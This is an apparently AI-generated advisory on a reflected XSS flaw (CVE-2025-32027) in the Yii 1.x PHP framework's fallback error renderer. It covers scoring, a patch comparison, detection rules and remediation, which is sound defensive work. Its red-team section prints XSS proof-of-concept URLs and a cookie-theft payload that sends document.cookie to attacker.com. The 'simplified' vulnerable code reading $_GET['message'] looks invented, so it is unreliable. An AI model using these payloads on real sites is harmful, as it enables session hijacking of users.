CVE-2025-32027

Executive Summary

CVE-2025-32027 is a reflected Cross-Site Scripting (XSS) vulnerability in the yiisoft/yii PHP web framework, affecting versions prior to 1.1.31. The flaw resides in the fallback error renderer, which fails to properly sanitize user-controlled input when rendering error messages. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. The CVSS score is 6.1 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code has been released, but the vulnerability is confirmed and patched in version 1.1.31.

Supply Chain & Package Security

This vulnerability affects the yiisoft/yii package, distributed via Composer (Packagist). Organizations using Yii 1.x must verify their composer.json and update to the patched version. The lack of a public PoC reduces immediate supply chain risk, but the vulnerability could be weaponized in targeted attacks against legacy Yii applications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the risk of automated exploitation, but the vulnerability can be used in phishing campaigns or social engineering attacks against Yii-based applications.

Deep Dive & Mechanics

The vulnerability exists in the fallback error renderer of Yii 1.x. When an error occurs (e.g., a 404 or 500 error), the framework uses a default error handler that reflects user-supplied input (such as the request URI or query parameters) directly into the HTML response without proper encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The CErrorHandler class in Yii 1.x uses CHtml::encode() inconsistently, or in some code paths, fails to encode user input before output. Specifically, the render() method of the fallback error renderer does not sanitize the $_SERVER['REQUEST_URI'] or error message parameters.

Attack Scenario:

1. Attacker crafts a URL like: http://target.com/index.php?message=<script>alert('XSS')</script>
2. Victim clicks the link (or is redirected via a phishing email).
3. The Yii application triggers an error (e.g., invalid route) and the fallback renderer outputs the message parameter unsanitized.
4. The injected script executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Vulnerable vs. Patched Code

Vulnerable Code (Yii < 1.1.31):

// In CErrorHandler.php (simplified)
public function render($error) {
    $message = $_GET['message'] ?? $error->getMessage();
    echo "<div class='error'>$message</div>"; // No encoding
}

Patched Code (Yii 1.1.31):

// In CErrorHandler.php (simplified)
public function render($error) {
    $message = $_GET['message'] ?? $error->getMessage();
    echo "<div class='error'>" . CHtml::encode($message) . "</div>"; // Proper encoding
}

The patch ensures that all user-supplied input is passed through CHtml::encode() before being rendered, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public PoC is available, a basic exploit can be constructed:

Proof-of-Concept URL:

http://target.com/index.php?r=site/error&message=<img src=x onerror=alert(1)>

Steps:

1. Identify a Yii 1.x application (e.g., via Shodan dork title:Yii Framework).
2. Craft a URL that triggers an error (e.g., invalid route ?r=nonexistent).
3. Append a malicious message parameter with XSS payload.
4. Deliver the link to a victim via email or social engineering.

Example Payload (Cookie Theft):

http://target.com/index.php?r=site/error&message=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests containing suspicious message parameters (e.g., <script, onerror, javascript:).
2. Deploy a Web Application Firewall (WAF) rule to block reflected XSS patterns in query strings.
3. Ensure all Yii applications are updated to version 1.1.31 or later.

Mitigation:

• Upgrade to Yii 1.1.31 immediately.
• If upgrade is not possible, implement a custom error handler that sanitizes all output.
• Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with message parameter containing HTML/JavaScript (e.g., <script>, <img onerror=, javascript:).
  • Referer headers from phishing domains.
• File IOCs:
  • Modified CErrorHandler.php files (if attacker has code access).
• Log IOCs:
  • Web server logs showing 404/500 errors with encoded XSS payloads in query strings.

Detection Engineering

YARA Rule

rule CVE_2025_32027_Yii_XSS {
    meta:
        description = "Detects reflected XSS attempts against Yii 1.x fallback error renderer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32027"
    strings:
        $xss_payload_1 = /message=<script[^>]*>/
        $xss_payload_2 = /message=<img[^>]*onerror/
        $xss_payload_3 = /message=.*onerror\s*=/
        $yii_error = /Yii Framework/
    condition:
        any of ($xss_payload_*) and $yii_error
}

Sigma Rule

title: Reflected XSS Attempt Against Yii Framework
id: 8f3c2a1b-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests with XSS payloads in the 'message' parameter targeting Yii applications
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'message=<script'
            - 'message=<img'
            - 'message=javascript:'
    condition: selection
falsepositives:
    - Legitimate error messages containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32027 Yii Reflected XSS Attempt"; flow:to_server,established; content:"message="; http_uri; pcre:"/message=<(script|img)[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update yiisoft/yii to version 1.1.31 or higher via Composer: composer require yiisoft/yii:1.1.31.
2. WAF Rules: Deploy WAF rules to block message parameters containing HTML tags or JavaScript.
3. CSP Headers: Add Content-Security-Policy: script-src 'self' to mitigate XSS impact.

Long-Term Measures:

• Conduct a code review of all custom error handlers.
• Implement input validation and output encoding for all user-supplied data.
• Regularly update dependencies and monitor for security advisories.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.